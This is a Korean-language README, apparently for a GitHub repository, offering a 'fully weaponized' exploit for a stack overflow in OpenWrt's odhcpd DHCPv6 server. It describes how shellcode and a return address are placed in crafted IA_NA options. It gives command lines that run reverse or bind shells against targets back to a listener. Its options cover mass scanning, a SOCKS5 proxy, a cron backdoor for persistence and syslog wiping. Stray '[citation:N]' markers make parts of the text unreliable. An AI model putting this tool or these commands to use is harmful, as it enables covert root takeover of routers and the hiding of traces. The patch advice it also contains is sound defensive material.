
CVE-2026-53921 – odhcpd 스택 오버플로우 (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE에 대한 상세하고 포괄적인 취약점 Write-Up 및 Verifier & Multi-exploit. 이중 벡터(IA_NA/IA_PD) 오버플로우와 MIPS/ARM 셸코드, ROP 체인, SOCKS5 프록시, 지속성, 로그 삭제 및 대량 스캐닝을 포함합니다. 윤리적으로 사용하고, 법을 준수하세요. 🔒

⚠️ 교육 및 승인된 테스트 용도로만 사용하세요. 무단 사용은 불법입니다.
CVE-2026-53921은 OpenWrt의 odhcpd 데몬(기본 DHCPv6/DHCPv4/RA 서버)에서 발생하는 치명적인 스택 버퍼 오버플로우입니다.
취약점은 odhcpd의 DHCPv6 메시지 처리 코드, 특히 build_ia() 및 dhcpv6_ia_handle_IAs() 함수에 존재합니다.
이 버그는 DHCPv6 Reply 패킷의 직렬화(패킹) 과정에서 발생합니다. odhcpd가 클라이언트 요청에 응답할 때, 적절한 경계 검사 없이 512바이트 고정 크기 스택 버퍼에 응답을 구성합니다.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
공격자는 다음과 같은 DHCPv6 Request(또는 Solicit)를 전송합니다:
각 옵션은 odhcpd가 Reply를 구성하면서 스택 공간을 소비합니다. 누적된 데이터가 512바이트를 초과하여 오버플로우가 발생합니다.
벡터 트리거 오버플로우 지점
사이트 1 IA_NA 옵션 5개 IA_NA용 build_ia()
IPv6 주소 포함
build_ia()근본 원인은 동일하지만 오버플로우가 서로 다른 코드 경로에서 발생하므로 두 벡터 모두 동일하게 악용할 수 있습니다.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
공격자는 저장된 리턴 주소를 덮어써서 메모리 내 자신의 셸코드를 가리키게 합니다.
요구 사항 설명
네트워크 접근 공격자는 대상에 대한 IPv6 연결이 필요함
인증 없음 -- 비인증 공격
권한 odhcpd가 root로 실행되므로 RCE 시
전체 시스템 제어 권한 획득
실제 익스플로잇에서 공격자의 셸코드는 IAAddress IPv6 주소 필드(IA_NA당 16바이트)에 배치됩니다. 제작된 패킷은 셸코드, NOP 슬레드, 리턴 주소를 이 필드에 채워 넣습니다.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
버전 상태 RCE 가능?
odhcpd < e432dd6 취약 ✅ 예 OpenWrt < 24.10.8 취약 ✅ 예 OpenWrt < 25.12.5 취약 ✅ 예 OpenWrt 24.10.8+ 패치됨 ❌ 아니요 OpenWrt 25.12.5+ 패치됨 ❌ 아니요 odhcpd master + e432dd6 패치됨 ❌ 아니요
이 취약점은 특히 다음과 같은 이유로 위험합니다:
odhcpd가 기본적으로 활성화됩니다.| 구성 요소 | 취약한 버전 | 수정 버전 |
|---|---|---|
odhcpd (마스터 브랜치) | 커밋 e432dd6 이전 | e432dd6 이상 |
| OpenWrt 릴리스 | < 24.10.8 < 25.12.5 | 24.10.8 및 25.12.5 |
이 저장소는 두 개의 독립적인 스크립트를 제공합니다.
| 스크립트 | 용도 | 익스플로잇 코드 | 안전성 |
|---|---|---|---|
verifier.py | 비침습적 취약점 확인 | ❌ 아니요 | ✅ 안전 |
exploit.py | 완전한 무기화 익스플로잇 | ✅ 예 | ⚠️ 위험 |
verifier.py – 취약점 확인 도구exploit.py – 전체 익스플로잇IA_NA(Site1) 및 IA_PD(Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| 인자 | 설명 |
|---|---|
-u, --target | 대상 IPv6 주소 (필수) |
-i, --iface | 네트워크 인터페이스 (기본값: eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
OpenWrt를 24.10.8 또는 25.12.5 이상으로 업그레이드하세요.
opkg update
opkg upgrade odhcpd
OpenWrt 보안 권고 (GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 odhcpd의 두 오버플로우 벡터를 다루는 상세 권고.
CVE-2026-53921 NVD 항목 https://nvd.nist.gov/vuln/detail/CVE-2026-53921 NIST 공식 취약점 데이터베이스 항목.
OpenWrt 24.10.8 릴리스 노트 https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 브랜치의 공식 릴리스 공지.
OpenWrt 25.12.5 릴리스 노트 https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 브랜치의 공식 릴리스 공지.
24.10.8 및 25.12.5 릴리스는 CVE-2026-53921 외에도 여러 odhcpd 취약점을 해결합니다 [citation:9]:
The Hacker News 분석 https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html 취약점 및 악용 벡터에 대한 상세 기술 분석. [citation:1]
GitHub PoC 저장소 https://github.com/0xBlackash/CVE-2026-53921 공개 PoC 구현 및 기술 세부 정보. [citation:3]
버전 25.12.5는 다른 핵심 구성 요소의 취약점도 해결합니다 [citation:10]:
OpenWrt 펌웨어 선택기 https://firmware-selector.openwrt.org/ 패치된 펌웨어 이미지를 장치에 맞게 다운로드하세요.
CISA 알려진 악용 취약점 카탈로그 https://www.cisa.gov/known-exploited-vulnerabilities-catalog CVE-2026-53921이 KEV에 등재되었는지 확인하세요(2026년 7월 27일 기준 미등재). [citation:1]
| 인자 | 설명 |
|---|
-u, --target | 대상 IPv6 주소 |
-l, --list | 대상 목록이 포함된 파일 |
-i, --iface | 네트워크 인터페이스 (기본값: eth0) |
--lhost | 리스너 IP (필수) |
--lport | 리스너 포트 (기본값: 4444) |
--vector | site1, site2 또는 both (기본값: both) |
--offset | 스택 오프셋 (기본값: 512) |
--ret | 16진수 리턴 주소 (예: 0x7ffff000) |
--arch | mips 또는 arm 강제 지정 (생략 시 자동 감지) |
--payload | reverse 또는 bind (기본값: reverse) |
--encode | none 또는 xor (기본값: none) |
--proxy-host | SOCKS5 프록시 IP |
--proxy-port | SOCKS5 프록시 포트 (기본값: 1080) |
--persistence | cron 백도어 설치 |
--clear-logs | 악용 후 syslog 삭제 |
--scan-only | 대상만 스캔하고 악용하지 않음 |
--threads | 스캔용 스레드 수 (기본값: 5) |
--verbose | 상세 로깅 |
| CVE ID | 심각도 | 설명 |
|---|
| CVE-2026-53918 | 높음 | DHCPv6 IA 핸들러의 use-after-free [citation:4][citation:9] |
| CVE-2026-53920 | 높음 | 잘린 DHCPv6 IA_NA/IA_PD 옵션을 통한 스택 메모리 노출 [citation:9] |
| CVE-2026-53922 | 중간 | size_t 언더플로우를 통한 인증 전 서비스 거부 [citation:9] |
| CVE-2026-55606 | 중간 | DUID 길이 엔디언 불일치로 인한 스택 버퍼 오버리드 [citation:9] |
| CVE-2026-62948 | - | 저장형 XSS로 이어지는 DHCPv6 호스트명 주입 [citation:1] |
| CVE-2026-62947 | - | cgi-io의 인증된 경로 탐색 [citation:1] |